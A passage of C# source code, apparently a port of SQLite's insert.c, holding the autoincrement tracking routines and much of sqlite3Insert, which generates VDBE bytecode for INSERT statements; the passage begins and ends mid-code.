pParse.pAinc;\n        while ( pInfo != null && pInfo.pTab != pTab ) { pInfo = pInfo.pNext; }\n        if ( pInfo == null )\n        {\n          pInfo = new AutoincInfo();//sqlite3DbMallocRaw(pParse.db, sizeof(*pInfo));\n          if ( pInfo == null ) return 0;\n          pInfo.pNext = pParse.pAinc;\n          pParse.pAinc = pInfo;\n          pInfo.pTab = pTab;\n          pInfo.iDb = iDb;\n          pParse.nMem++;                  /* Register to hold name of table */\n          pInfo.regCtr = ++pParse.nMem;  /* Max rowid register */\n          pParse.nMem++;                  /* Rowid in sqlite_sequence */\n        }\n        memId = pInfo.regCtr;\n      }\n      return memId;\n    }\n\n    /*\n    ** This routine generates code that will initialize all of the\n    ** register used by the autoincrement tracker.\n    */\n    static void sqlite3AutoincrementBegin( Parse pParse )\n    {\n      AutoincInfo p;            /* Information about an AUTOINCREMENT */\n      sqlite3 db = pParse.db;  /* The database connection */\n      Db pDb;                   /* Database only autoinc table */\n      int memId;                 /* Register holding max rowid */\n      int addr;                  /* A VDBE address */\n      Vdbe v = pParse.pVdbe;   /* VDBE under construction */\n\n      Debug.Assert( v != null );   /* We failed long ago if this is not so */\n      for ( p = pParse.pAinc ; p != null ; p = p.pNext )\n      {\n        pDb = db.aDb[p.iDb];\n        memId = p.regCtr;\n        sqlite3OpenTable( pParse, 0, p.iDb, pDb.pSchema.pSeqTab, OP_OpenRead );\n        addr = sqlite3VdbeCurrentAddr( v );\n        sqlite3VdbeAddOp4( v, OP_String8, 0, memId - 1, 0, p.pTab.zName, 0 );\n        sqlite3VdbeAddOp2( v, OP_Rewind, 0, addr + 9 );\n        sqlite3VdbeAddOp3( v, OP_Column, 0, 0, memId );\n        sqlite3VdbeAddOp3( v, OP_Ne, memId - 1, addr + 7, memId );\n        sqlite3VdbeChangeP5( v, SQLITE_JUMPIFNULL );\n        sqlite3VdbeAddOp2( v, OP_Rowid, 0, memId + 1 );\n        sqlite3VdbeAddOp3( v, OP_Column, 0, 1, memId );\n        sqlite3VdbeAddOp2( v, OP_Goto, 0, addr + 9 );\n        sqlite3VdbeAddOp2( v, OP_Next, 0, addr + 2 );\n        sqlite3VdbeAddOp2( v, OP_Integer, 0, memId );\n        sqlite3VdbeAddOp0( v, OP_Close );\n      }\n    }\n\n    /*\n    ** Update the maximum rowid for an autoincrement calculation.\n    **\n    ** This routine should be called when the top of the stack holds a\n    ** new rowid that is about to be inserted.  If that new rowid is\n    ** larger than the maximum rowid in the memId memory cell, then the\n    ** memory cell is updated.  The stack is unchanged.\n    */\n    static void autoIncStep( Parse pParse, int memId, int regRowid )\n    {\n      if ( memId > 0 )\n      {\n        sqlite3VdbeAddOp2( pParse.pVdbe, OP_MemMax, memId, regRowid );\n      }\n    }\n\n    /*\n    ** This routine generates the code needed to write autoincrement\n    ** maximum rowid values back into the sqlite_sequence register.\n    ** Every statement that might do an INSERT into an autoincrement\n    ** table (either directly or through triggers) needs to call this\n    ** routine just before the \"exit\" code.\n    */\n    static void sqlite3AutoincrementEnd( Parse pParse )\n    {\n      AutoincInfo p;\n      Vdbe v = pParse.pVdbe;\n      sqlite3 db = pParse.db;\n\n      Debug.Assert( v != null );\n      for ( p = pParse.pAinc ; p != null ; p = p.pNext )\n      {\n        Db pDb = db.aDb[p.iDb];\n        int j1, j2, j3, j4, j5;\n        int iRec;\n        int memId = p.regCtr;\n\n        iRec = sqlite3GetTempReg( pParse );\n        sqlite3OpenTable( pParse, 0, p.iDb, pDb.pSchema.pSeqTab, OP_OpenWrite );\n        j1 = sqlite3VdbeAddOp1( v, OP_NotNull, memId + 1 );\n        j2 = sqlite3VdbeAddOp0( v, OP_Rewind );\n        j3 = sqlite3VdbeAddOp3( v, OP_Column, 0, 0, iRec );\n        j4 = sqlite3VdbeAddOp3( v, OP_Eq, memId - 1, 0, iRec );\n        sqlite3VdbeAddOp2( v, OP_Next, 0, j3 );\n        sqlite3VdbeJumpHere( v, j2 );\n        sqlite3VdbeAddOp2( v, OP_NewRowid, 0, memId + 1 );\n        j5 = sqlite3VdbeAddOp0( v, OP_Goto );\n        sqlite3VdbeJumpHere( v, j4 );\n        sqlite3VdbeAddOp2( v, OP_Rowid, 0, memId + 1 );\n        sqlite3VdbeJumpHere( v, j1 );\n        sqlite3VdbeJumpHere( v, j5 );\n        sqlite3VdbeAddOp3( v, OP_MakeRecord, memId - 1, 2, iRec );\n        sqlite3VdbeAddOp3( v, OP_Insert, 0, iRec, memId + 1 );\n        sqlite3VdbeChangeP5( v, OPFLAG_APPEND );\n        sqlite3VdbeAddOp0( v, OP_Close );\n        sqlite3ReleaseTempReg( pParse, iRec );\n      }\n    }\n#else\n/*\n** If SQLITE_OMIT_AUTOINCREMENT is defined, then the three routines\n** above are all no-ops\n*/\n//# define autoIncBegin(A,B,C) (0)\n//# define autoIncStep(A,B,C)\n#endif // * SQLITE_OMIT_AUTOINCREMENT */\n\n\n    /* Forward declaration */\n    //static int xferOptimization(\n    //  Parse pParse,        /* Parser context */\n    //  Table pDest,         /* The table we are inserting into */\n    //  Select pSelect,      /* A SELECT statement to use as the data source */\n    //  int onError,          /* How to handle constraint errors */\n    //  int iDbDest           /* The database of pDest */\n    //);\n\n    /*\n    ** This routine is call to handle SQL of the following forms:\n    **\n    **    insert into TABLE (IDLIST) values(EXPRLIST)\n    **    insert into TABLE (IDLIST) select\n    **\n    ** The IDLIST following the table name is always optional.  If omitted,\n    ** then a list of all columns for the table is substituted.  The IDLIST\n    ** appears in the pColumn parameter.  pColumn is NULL if IDLIST is omitted.\n    **\n    ** The pList parameter holds EXPRLIST in the first form of the INSERT\n    ** statement above, and pSelect is NULL.  For the second form, pList is\n    ** NULL and pSelect is a pointer to the select statement used to generate\n    ** data for the insert.\n    **\n    ** The code generated follows one of four templates.  For a simple\n    ** select with data coming from a VALUES clause, the code executes\n    ** once straight down through.  Pseudo-code follows (we call this\n    ** the \"1st template\"):\n    **\n    **         open write cursor to <table> and its indices\n    **         puts VALUES clause expressions onto the stack\n    **         write the resulting record into <table>\n    **         cleanup\n    **\n    ** The three remaining templates assume the statement is of the form\n    **\n    **   INSERT INTO <table> SELECT ...\n    **\n    ** If the SELECT clause is of the restricted form \"SELECT * FROM <table2>\" -\n    ** in other words if the SELECT pulls all columns from a single table\n    ** and there is no WHERE or LIMIT or GROUP BY or ORDER BY clauses, and\n    ** if <table2> and <table1> are distinct tables but have identical\n    ** schemas, including all the same indices, then a special optimization\n    ** is invoked that copies raw records from <table2> over to <table1>.\n    ** See the xferOptimization() function for the implementation of this\n    ** template.  This is the 2nd template.\n    **\n    **         open a write cursor to <table>\n    **         open read cursor on <table2>\n    **         transfer all records in <table2> over to <table>\n    **         close cursors\n    **         foreach index on <table>\n    **           open a write cursor on the <table> index\n    **           open a read cursor on the corresponding <table2> index\n    **           transfer all records from the read to the write cursors\n    **           close cursors\n    **         end foreach\n    **\n    ** The 3rd template is for when the second template does not apply\n    ** and the SELECT clause does not read from <table> at any time.\n    ** The generated code follows this template:\n    **\n    **         EOF <- 0\n    **         X <- A\n    **         goto B\n    **      A: setup for the SELECT\n    **         loop over the rows in the SELECT\n    **           load values into registers R..R+n\n    **           yield X\n    **         end loop\n    **         cleanup after the SELECT\n    **         EOF <- 1\n    **         yield X\n    **         goto A\n    **      B: open write cursor to <table> and its indices\n    **      C: yield X\n    **         if EOF goto D\n    **         insert the select result into <table> from R..R+n\n    **         goto C\n    **      D: cleanup\n    **\n    ** The 4th template is used if the insert statement takes its\n    ** values from a SELECT but the data is being inserted into a table\n    ** that is also read as part of the SELECT.  In the third form,\n    ** we have to use a intermediate table to store the results of\n    ** the select.  The template is like this:\n    **\n    **         EOF <- 0\n    **         X <- A\n    **         goto B\n    **      A: setup for the SELECT\n    **         loop over the tables in the SELECT\n    **           load value into register R..R+n\n    **           yield X\n    **         end loop\n    **         cleanup after the SELECT\n    **         EOF <- 1\n    **         yield X\n    **         halt-error\n    **      B: open temp table\n    **      L: yield X\n    **         if EOF goto M\n    **         insert row from R..R+n into temp table\n    **         goto L\n    **      M: open write cursor to <table> and its indices\n    **         rewind temp table\n    **      C: loop over rows of intermediate table\n    **           transfer values form intermediate table into <table>\n    **         end loop\n    **      D: cleanup\n    */\n    // OVERLOADS, so I don't need to rewrite parse.c\n    static void sqlite3Insert( Parse pParse, SrcList pTabList, int null_3, int null_4, IdList pColumn, int onError )\n    { sqlite3Insert( pParse, pTabList, null, null, pColumn, onError ); }\n    static void sqlite3Insert( Parse pParse, SrcList pTabList, int null_3, Select pSelect, IdList pColumn, int onError )\n    { sqlite3Insert( pParse, pTabList, null, pSelect, pColumn, onError ); }\n    static void sqlite3Insert( Parse pParse, SrcList pTabList, ExprList pList, int null_4, IdList pColumn, int onError )\n    { sqlite3Insert( pParse, pTabList, pList, null, pColumn, onError ); }\n    static void sqlite3Insert(\n    Parse pParse,        /* Parser context */\n    SrcList pTabList,    /* Name of table into which we are inserting */\n    ExprList pList,      /* List of values to be inserted */\n    Select pSelect,      /* A SELECT statement to use as the data source */\n    IdList pColumn,      /* Column names corresponding to IDLIST. */\n    int onError        /* How to handle constraint errors */\n    )\n    {\n      sqlite3 db;           /* The main database structure */\n      Table pTab;           /* The table to insert into.  aka TABLE */\n      string zTab;          /* Name of the table into which we are inserting */\n      string zDb;           /* Name of the database holding this table */\n      int i = 0;\n      int j = 0;\n      int idx = 0;            /* Loop counters */\n      Vdbe v;               /* Generate code into this virtual machine */\n      Index pIdx;           /* For looping over indices of the table */\n      int nColumn;          /* Number of columns in the data */\n      int nHidden = 0;      /* Number of hidden columns if TABLE is virtual */\n      int baseCur = 0;      /* VDBE VdbeCursor number for pTab */\n      int keyColumn = -1;   /* Column that is the INTEGER PRIMARY KEY */\n      int endOfLoop = 0;      /* Label for the end of the insertion loop */\n      bool useTempTable = false; /* Store SELECT results in intermediate table */\n      int srcTab = 0;       /* Data comes from this temporary cursor if >=0 */\n      int addrInsTop = 0;   /* Jump to label \"D\" */\n      int addrCont = 0;     /* Top of insert loop. Label \"C\" in templates 3 and 4 */\n      int addrSelect = 0;   /* Address of coroutine that implements the SELECT */\n      SelectDest dest;      /* Destination for SELECT on rhs of INSERT */\n      int newIdx = -1;      /* VdbeCursor for the NEW pseudo-table */\n      int iDb;              /* Index of database holding TABLE */\n      Db pDb;               /* The database containing table being inserted into */\n      bool appendFlag = false;   /* True if the insert is likely to be an append */\n\n      /* Register allocations */\n      int regFromSelect = 0;  /* Base register for data coming from SELECT */\n      int regAutoinc = 0;   /* Register holding the AUTOINCREMENT counter */\n      int regRowCount = 0;  /* Memory cell used for the row counter */\n      int regIns;           /* Block of regs holding rowid+data being inserted */\n      int regRowid;         /* registers holding insert rowid */\n      int regData;          /* register holding first column to insert */\n      int regRecord;        /* Holds the assemblied row record */\n      int regEof = 0;       /* Register recording end of SELECT data */\n      int[] aRegIdx = null; /* One register allocated to each index */\n\n\n#if !SQLITE_OMIT_TRIGGER\n      bool isView = false;        /* True if attempting to insert into a view */\n      Trigger pTrigger;           /* List of triggers on pTab, if required */\n      int tmask = 0;              /* Mask of trigger times */\n#endif\n\n      db = pParse.db;\n      dest = new SelectDest();// memset( &dest, 0, sizeof( dest ) );\n\n      if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ )\n      {\n        goto insert_cleanup;\n      }\n\n      /* Locate the table into which we will be inserting new information.\n      */\n      Debug.Assert( pTabList.nSrc == 1 );\n      zTab = pTabList.a[0].zName;\n      if ( NEVER( zTab == null ) ) goto insert_cleanup;\n      pTab = sqlite3SrcListLookup( pParse, pTabList );\n      if ( pTab == null )\n      {\n        goto insert_cleanup;\n      }\n      iDb = sqlite3SchemaToIndex( db, pTab.pSchema );\n      Debug.Assert( iDb < db.nDb );\n      pDb = db.aDb[iDb];\n      zDb = pDb.zName;\n#if !SQLITE_OMIT_AUTHORIZATION\nif( sqlite3AuthCheck(pParse, SQLITE_INSERT, pTab.zName, 0, zDb) ){\ngoto insert_cleanup;\n}\n#endif\n      /* Figure out if we have any triggers and if the table being\n** inserted into is a view\n*/\n#if !SQLITE_OMIT_TRIGGER\n      pTrigger = sqlite3TriggersExist( pParse, pTab, TK_INSERT, null, ref tmask );\n      isView = pTab.pSelect != null;\n#else\n//# define pTrigger 0\n//# define tmask 0\nbool isView = false;\n#endif\n#if  SQLITE_OMIT_VIEW\n//# undef isView\nisView = false;\n#endif\n      Debug.Assert( ( pTrigger != null && tmask != 0 ) || ( pTrigger == null && tmask == 0 ) );\n\n#if !SQLITE_OMIT_VIEW\n      /* If pTab is really a view, make sure it has been initialized.\n      ** ViewGetColumnNames() is a no-op if pTab is not a view (or virtual\n      ** module table).\n      */\n      if ( sqlite3ViewGetColumnNames( pParse, pTab ) != -0 )\n      {\n        goto insert_cleanup;\n      }\n#endif\n\n      /* Ensure that:\n      *  (a) the table is not read-only, \n      *  (b) that if it is a view then ON INSERT triggers exist\n      */\n      if ( sqlite3IsReadOnly( pParse, pTab, tmask ) )\n      {\n        goto insert_cleanup;\n      }\n\n      /* Allocate a VDBE\n      */\n      v = sqlite3GetVdbe( pParse );\n      if ( v == null ) goto insert_cleanup;\n      if ( pParse.nested == 0 ) sqlite3VdbeCountChanges( v );\n      sqlite3BeginWriteOperation( pParse, ( pSelect != null || pTrigger != null ) ? 1 : 0, iDb );\n\n      /* if there are row triggers, allocate a temp table for new.* references. */\n      if ( pTrigger != null )\n      {\n        newIdx = pParse.nTab++;\n      }\n\n#if !SQLITE_OMIT_XFER_OPT\n      /* If the statement is of the form\n**\n**       INSERT INTO <table1> SELECT * FROM <table2>;\n**\n** Then special optimizations can be applied that make the transfer\n** very fast and which reduce fragmentation of indices.\n**\n** This is the 2nd template.\n*/\n      if ( pColumn == null && xferOptimization( pParse, pTab, pSelect, onError, iDb ) != 0 )\n      {\n        Debug.Assert( null == pTrigger );\n        Debug.Assert( pList == null );\n        goto insert_end;\n      }\n#endif // * SQLITE_OMIT_XFER_OPT */\n\n      /* If this is an AUTOINCREMENT table, look up the sequence number in the\n** sqlite_sequence table and store it in memory cell regAutoinc.\n*/\n      regAutoinc = autoIncBegin( pParse, iDb, pTab );\n\n      /* Figure out how many columns of data are supplied.  If the data\n      ** is coming from a SELECT statement, then generate a co-routine that\n      ** produces a single row of the SELECT on each invocation.  The\n      ** co-routine is the common header to the 3rd and 4th templates.\n      */\n      if ( pSelect != null )\n      {\n        /* Data is coming from a SELECT.  Generate code to implement that SELECT\n        ** as a co-routine.  The code is common to both the 3rd and 4th\n        ** templates:\n        **\n        **         EOF <- 0\n        **         X <- A\n        **         goto B\n        **      A: setup for the SELECT\n        **         loop over the tables in the SELECT\n        **           load value into register R..R+n\n        **           yield X\n        **         end loop\n        **         cleanup after the SELECT\n        **         EOF <- 1\n        **         yield X\n        **         halt-error\n        **\n        ** On each invocation of the co-routine, it puts a single row of the\n        ** SELECT result into registers dest.iMem...dest.iMem+dest.nMem-1.\n        ** (These output registers are allocated by sqlite3Select().)  When\n        ** the SELECT completes, it sets the EOF flag stored in regEof.\n        */\n        int rc = 0, j1;\n\n        regEof = ++pParse.nMem;\n        sqlite3VdbeAddOp2( v, OP_Integer, 0, regEof );      /* EOF <- 0 */\n#if SQLITE_DEBUG\n        VdbeComment( v, \"SELECT eof flag\" );\n#endif\n        sqlite3SelectDestInit( dest, SRT_Coroutine, ++pParse.nMem );\n        addrSelect = sqlite3VdbeCurrentAddr( v ) + 2;\n        sqlite3VdbeAddOp2( v, OP_Integer, addrSelect - 1, dest.iParm );\n        j1 = sqlite3VdbeAddOp2( v, OP_Goto, 0, 0 );\n#if SQLITE_DEBUG\n        VdbeComment( v, \"Jump over SELECT coroutine\" );\n#endif\n        /* Resolve the expressions in the SELECT statement and execute it. */\n        rc = sqlite3Select( pParse, pSelect, ref dest );\n        Debug.Assert( pParse.nErr == 0 || rc != 0 );\n        if ( rc != 0 || NEVER( pParse.nErr != 0 ) /*|| db.mallocFailed != 0 */ )\n        {\n          goto insert_cleanup;\n        }\n        sqlite3VdbeAddOp2( v, OP_Integer, 1, regEof );         /* EOF <- 1 */\n        sqlite3VdbeAddOp1( v, OP_Yield, dest.iParm );   /* yield X */\n        sqlite3VdbeAddOp2( v, OP_Halt, SQLITE_INTERNAL, OE_Abort );\n#if SQLITE_DEBUG\n        VdbeComment( v, \"End of SELECT coroutine\" );\n#endif\n        sqlite3VdbeJumpHere( v, j1 );                          /* label B: */\n\n        regFromSelect = dest.iMem;\n        Debug.Assert( pSelect.pEList != null );\n        nColumn = pSelect.pEList.nExpr;\n        Debug.Assert( dest.nMem == nColumn );\n\n        /* Set useTempTable to TRUE if the result of the SELECT statement\n        ** should be written into a temporary table (template 4).  Set to\n        ** FALSE if each* row of the SELECT can be written directly into\n        ** the destination table (template 3).\n        **\n        ** A temp table must be used if the table being updated is also one\n        ** of the tables being read by the SELECT statement.  Also use a\n        ** temp table in the case of row triggers.\n        */\n        if ( pTrigger != null || readsTable( pParse, addrSelect, iDb, pTab ) )\n        {\n          useTempTable = true;\n        }\n\n        if ( useTempTable )\n        {\n          /* Invoke the coroutine to extract information from the SELECT\n          ** and add it to a transient table srcTab.  The code generated\n          ** here is from the 4th template:\n          **\n          **      B: open temp table\n          **      L: yield X\n          **         if EOF goto M\n          **         insert row from R..R+n into temp table\n          **         goto L\n          **      M: ...\n          */\n          int regRec;      /* Register to hold packed record */\n          int regTempRowid;    /* Register to hold temp table ROWID */\n          int addrTop;     /* Label \"L\" */\n          int addrIf;      /* Address of jump to M */\n\n          srcTab = pParse.nTab++;\n          regRec = sqlite3GetTempReg( pParse );\n          regTempRowid = sqlite3GetTempReg( pParse );\n          sqlite3VdbeAddOp2( v, OP_OpenEphemeral, srcTab, nColumn );\n          addrTop = sqlite3VdbeAddOp1( v, OP_Yield, dest.iParm );\n          addrIf = sqlite3VdbeAddOp1( v, OP_If, regEof );\n          sqlite3VdbeAddOp3( v, OP_MakeRecord, regFromSelect, nColumn, regRec );\n          sqlite3VdbeAddOp2( v, OP_NewRowid, srcTab, regTempRowid );\n          sqlite3VdbeAddOp3( v, OP_Insert, srcTab, regRec, regTempRowid );\n          sqlite3VdbeAddOp2( v, OP_Goto, 0, addrTop );\n          sqlite3VdbeJumpHere( v, addrIf );\n          sqlite3ReleaseTempReg( pParse, regRec );\n          sqlite3ReleaseTempReg( pParse, regTempRowid );\n        }\n      }\n      else\n      {\n        /* This is the case if the data for the INSERT is coming from a VALUES\n        ** clause\n        */\n        NameContext sNC;\n        sNC = new NameContext();// memset( &sNC, 0, sNC ).Length;\n        sNC.pParse = pParse;\n        srcTab = -1;\n        Debug.Assert( !useTempTable );\n        nColumn = pList != null ? pList.nExpr : 0;\n        for ( i = 0 ; i < nColumn ; i++ )\n        {\n          if ( sqlite3ResolveExprNames( sNC, ref pList.a[i].pExpr ) != 0 )\n          {\n            goto insert_cleanup;\n          }\n        }\n      }\n\n      /* Make sure the number of columns in the source data matches the number\n      ** of columns to be inserted into the table.\n      */\n      if ( IsVirtual( pTab ) )\n      {\n        for ( i = 0 ; i < pTab.nCol ; i++ )\n        {\n          nHidden += ( IsHiddenColumn( pTab.aCol[i] ) ? 1 : 0 );\n        }\n      }\n      if ( pColumn == null && nColumn != 0 && nColumn != ( pTab.nCol - nHidden ) )\n      {\n        sqlite3ErrorMsg( pParse,\n        \"table %S has %d columns but %d values were supplied\",\n        pTabList, 0, pTab.nCol - nHidden, nColumn );\n        goto insert_cleanup;\n      }\n      if ( pColumn != null && nColumn != pColumn.nId )\n      {\n        sqlite3ErrorMsg( pParse, \"%d values for %d columns\", nColumn, pColumn.nId );\n        goto insert_cleanup;\n      }\n\n      /* If the INSERT statement included an IDLIST term, then make sure\n      ** all elements of the IDLIST really are columns of the table and\n      ** remember the column indices.\n      **\n      ** If the table has an INTEGER PRIMARY KEY column and that column\n      ** is named in the IDLIST, then record in the keyColumn variable\n      ** the index into IDLIST of the primary key column.  keyColumn is\n      ** the index of the primary key as it appears in IDLIST, not as\n      ** is appears in the original table.  (The index of the primary\n      ** key in the original table is pTab.iPKey.)\n      */\n      if ( pColumn != null )\n      {\n        for ( i = 0 ; i < pColumn.nId ; i++ )\n        {\n          pColumn.a[i].idx = -1;\n        }\n        for ( i = 0 ; i < pColumn.nId ; i++ )\n        {\n          for ( j = 0 ; j < pTab.nCol ; j++ )\n          {\n            if ( sqlite3StrICmp( pColumn.a[i].zName, pTab.aCol[j].zName ) == 0 )\n            {\n              pColumn.a[i].idx = j;\n              if ( j == pTab.iPKey )\n              {\n                keyColumn = i;\n              }\n              break;\n            }\n          }\n          if ( j >= pTab.nCol )\n          {\n            if ( sqlite3IsRowid( pColumn.a[i].zName ) )\n            {\n              keyColumn = i;\n            }\n            else\n            {\n              sqlite3ErrorMsg( pParse, \"table %S has no column named %s\",\n              pTabList, 0, pColumn.a[i].zName );\n              pParse.nErr++;\n              goto insert_cleanup;\n            }\n          }\n        }\n      }\n\n      /* If there is no IDLIST term but the table has an integer primary\n      ** key, the set the keyColumn variable to the primary key column index\n      ** in the original table definition.\n      */\n      if ( pColumn == null && nColumn > 0 )\n      {\n        keyColumn = pTab.iPKey;\n      }\n\n      /* Open the temp table for FOR EACH ROW triggers\n      */\n      if ( pTrigger != null )\n      {\n        sqlite3VdbeAddOp3( v, OP_OpenPseudo, newIdx, 0, pTab.nCol );\n      }\n\n      /* Initialize the count of rows to be inserted\n      */\n      if ( ( db.flags & SQLITE_CountRows ) != 0 )\n      {\n        regRowCount = ++pParse.nMem;\n        sqlite3VdbeAddOp2( v, OP_Integer, 0, regRowCount );\n      }\n\n      /* If this is not a view, open the table and and all indices */\n      if ( !isView )\n      {\n        int nIdx;\n\n        baseCur = pParse.nTab;\n        nIdx = sqlite3OpenTableAndIndices( pParse, pTab, baseCur, OP_OpenWrite );\n        aRegIdx = new int[nIdx + 1];// sqlite3DbMallocRaw( db, sizeof( int ) * ( nIdx + 1 ) );\n        if ( aRegIdx == null )\n        {\n          goto insert_cleanup;\n        }\n        for ( i = 0 ; i < nIdx ; i++ )\n        {\n          aRegIdx[i] = ++pParse.nMem;\n        }\n      }\n\n      /* This is the top of the main insertion loop */\n      if ( useTempTable )\n      {\n        /* This block codes the top of loop only.  The complete loop is the\n        ** following pseudocode (template 4):\n        **\n        **         rewind temp table\n        **      C: loop over rows of intermediate table\n        **           transfer values form intermediate table into <table>\n        **         end loop\n        **      D: ...\n        */\n        addrInsTop = sqlite3VdbeAddOp1( v, OP_Rewind, srcTab );\n        addrCont = sqlite3VdbeCurrentAddr( v );\n      }\n      else if ( pSelect != null )\n      {\n        /* This block codes the top of loop only.  The complete loop is the\n        ** following pseudocode (template 3):\n        **\n        **      C: yield X\n        **         if EOF goto D\n        **         insert the select result into <table> from R..R+n\n        **         goto C\n        **      D: ...\n        */\n        addrCont = sqlite3VdbeAddOp1( v, OP_Yield, dest.iParm );\n        addrInsTop = sqlite3VdbeAddOp1( v, OP_If, regEof );\n      }\n\n      /* Allocate registers for holding the rowid of the new row,\n      ** the content of the new row, and the assemblied row record.\n      */\n      regRecord = ++pParse.nMem;\n      regRowid = regIns = pParse.nMem + 1;\n      pParse.nMem += pTab.nCol + 1;\n      if ( IsVirtual( pTab ) )\n      {\n        regRowid++;\n        pParse.nMem++;\n      }\n      regData = regRowid + 1;\n\n      /* Run the BEFORE and INSTEAD OF triggers, if there are any\n      */\n      endOfLoop = sqlite3VdbeMakeLabel( v );\n#if !SQLITE_OMIT_TRIGGER\n      if ( ( tmask & TRIGGER_BEFORE ) != 0 )\n      {\n        int regTrigRowid;\n        int regCols;\n        int regRec;\n\n        /* build the NEW.* reference row.  Note that if there is an INTEGER\n        ** PRIMARY KEY into which a NULL is being inserted, that NULL will be\n        ** translated into a unique ID for the row.  But on a BEFORE trigger,\n        ** we do not know what the unique ID will be (because the insert has\n        ** not happened yet) so we substitute a rowid of -1\n        */\n        regTrigRowid = sqlite3GetTempReg( pParse );\n        if ( keyColumn < 0 )\n        {\n          sqlite3VdbeAddOp2( v, OP_Integer, -1, regTrigRowid );\n        }\n        else\n        {\n          int j1;\n          if ( useTempTable )\n          {\n            sqlite3VdbeAddOp3( v, OP_Column, srcTab, keyColumn, regTrigRowid );\n          }\n          else\n          {\n            Debug.Assert( pSelect == null );  /* Otherwise useTempTable is true */\n            sqlite3ExprCode( pParse, pList.a[keyColumn].pExpr, regTrigRowid );\n          }\n          j1 = sqlite3VdbeAddOp1( v, OP_NotNull, regTrigRowid );\n          sqlite3VdbeAddOp2( v, OP_Integer, -1, regTrigRowid );\n          sqlite3VdbeJumpHere( v, j1 );\n          sqlite3VdbeAddOp1( v, OP_MustBeInt, regTrigRowid );\n        }\n        /* Cannot have triggers on a virtual table. If it were possible,\n        ** this block would have to account for hidden column.\n        */\n        Debug.Assert( !IsVirtual( pTab ) );\n        /* Create the new column data\n        */\n        regCols = sqlite3GetTempRange( pParse, pTab.nCol );\n        for ( i = 0 ; i < pTab.nCol ; i++ )\n        {\n          if ( pColumn == null )\n          {\n            j = i;\n          }\n          else\n          {\n            for ( j = 0 ; j < pColumn.nId ; j++ )\n            {\n              if ( pColumn.a[j].idx == i ) break;\n            }\n          }\n          if ( pColumn != null && j >= pColumn.nId )\n          {\n            sqlite3ExprCode( pParse, pTab.aCol[i].pDflt, regCols + i );\n          }\n          else if ( useTempTable )\n          {\n            sqlite3VdbeAddOp3( v, OP_Column, srcTab, j, regCols + i );\n          }\n          else\n          {\n            Debug.Assert( pSelect == null ); /* Otherwise useTempTable is true */\n            sqlite3ExprCodeAndCache( pParse, pList.a[j].pExpr, regCols + i );\n          }\n        }\n        regRec = sqlite3GetTempReg( pParse );\n        sqlite3VdbeAddOp3( v, OP_MakeRecord, regCols, pTab.nCol, regRec );\n\n        /* If this is an INSERT on a view with an INSTEAD OF INSERT trigger,\n        ** do not attempt any conversions before assembling the record.\n        ** If this is a real table, attempt conversions as required by the\n        ** table column affinities.\n        */\n        if ( !isView )\n        {\n          sqlite3TableAffinityStr( v, pTab );\n        }\n        sqlite3VdbeAddOp3( v, OP_Insert, newIdx, regRec, regTrigRowid );\n        sqlite3ReleaseTempReg( pParse, regRec );\n        sqlite3ReleaseTempReg( pParse, regTrigRowid );\n        sqlite3ReleaseTempRange( pParse, regCols, pTab.nCol );\n\n        /* Fire BEFORE or INSTEAD OF triggers */\n        u32 Ref0_1 = 0;\n        u32 Ref0_2 = 0;\n        if ( sqlite3CodeRowTrigger( pParse, pTrigger, TK_INSERT, null, TRIGGER_BEFORE,\n        pTab, newIdx, -1, onError, endOfLoop, ref Ref0_1, ref Ref0_2 ) != 0 )\n        {\n          goto insert_cleanup;\n        }\n      }\n#endif\n\n      /* Push the record number for the new entry onto the stack.  The\n** record number is a randomly generate integer created by NewRowid\n** except when the table has an INTEGER PRIMARY KEY column, in which\n** case the record number is the same as that column.\n*/\n      if ( !isView )\n      {\n        if ( IsVirtual( pTab ) )\n        {\n          /* The row that the VUpdate opcode will delete: none */\n          sqlite3VdbeAddOp2( v, OP_Null, 0, regIns );\n        }\n        if ( keyColumn >= 0 )\n        {\n          if ( useTempTable )\n          {\n            sqlite3VdbeAddOp3( v, OP_Column, srcTab, keyColumn, regRowid );\n          }\n          else if ( pSelect != null )\n          {\n            sqlite3VdbeAddOp2( v, OP_SCopy, regFromSelect + keyColumn, regRowid );\n          }\n          else\n          {\n            VdbeOp pOp;\n            sqlite3ExprCode( pParse, pList.a[keyColumn].pExpr, regRowid );\n            pOp = sqlite3VdbeGetOp( v, -1 );\n            if ( ALWAYS( pOp != null ) && pOp.opcode == OP_Null && !IsVirtual( pTab ) )\n            {\n              appendFlag = true;\n              pOp.opcode = OP_NewRowid;\n              pOp.p1 = baseCur;\n              pOp.p2 = regRowid;\n              pOp.p3 = regAutoinc;\n            }\n          }\n          /* If the PRIMARY KEY expression is NULL, then use OP_NewRowid\n          ** to generate a unique primary key value.\n          */\n          if ( !appendFlag )\n          {\n            int j1;\n            if ( !IsVirtual( pTab ) )\n            {\n              j1 = sqlite3VdbeAddOp1( v, OP_NotNull, regRowid );\n              sqlite3VdbeAddOp3( v, OP_NewRowid, baseCur, regRowid, regAutoinc );\n              sqlite3VdbeJumpHere( v, j1 );\n            }\n            else\n            {\n              j1 = sqlite3VdbeCurrentAddr( v );\n              sqlite3VdbeAddOp2( v, OP_IsNull, regRowid, j1 + 2 );\n            }\n            sqlite3VdbeAddOp1( v, OP_MustBeInt, regRowid );\n          }\n        }\n        else if ( IsVirtual( pTab ) )\n        {\n          sqlite3VdbeAddOp2( v, OP_Null, 0, regRowid );\n        }\n        else\n        {\n          sqlite3VdbeAddOp3( v, OP_NewRowid, baseCur, regRowid, regAutoinc );\n          appendFlag = true;\n        }\n        autoIncStep( pParse, regAutoinc, regRowid );\n\n        /* Push onto the stack, data for all columns of the new entry, beginning\n        ** with the first column.\n        */\n        nHidden = 0;\n        for ( i = 0 ; i < pTab.nCol ; i++ )\n        {\n          int iRegStore = regRowid + 1 + i;\n          if ( i == pTab.iPKey )\n          {\n            /* The value of the INTEGER PRIMARY KEY column is always a NULL.\n            ** Whenever this column is read, the record number will be substituted\n            ** in its place.  So will fill this column with a NULL to avoid\n            ** taking up data space with information that will never be used. */\n            sqlite3VdbeAddOp2( v, OP_Null, 0, iRegStore );\n            continue;\n          }\n          if ( pColumn == null )\n          {\n            if ( IsHiddenColumn( pTab.aCol[i] ) )\n            {\n              Debug.Assert( IsVirtual( pTab ) );\n              j = -1;\n              nHidden++;\n            }\n            else\n            {\n              j = i - nHidden;\n            }\n          }\n          else\n          {\n            for ( j = 0 ; j < pColumn.nId ; j++ )\n            {\n              if ( pColumn.a[j].idx == i ) break;\n            }\n          }\n          if ( j < 0 || nColumn == 0 || ( pColumn != null && j >= 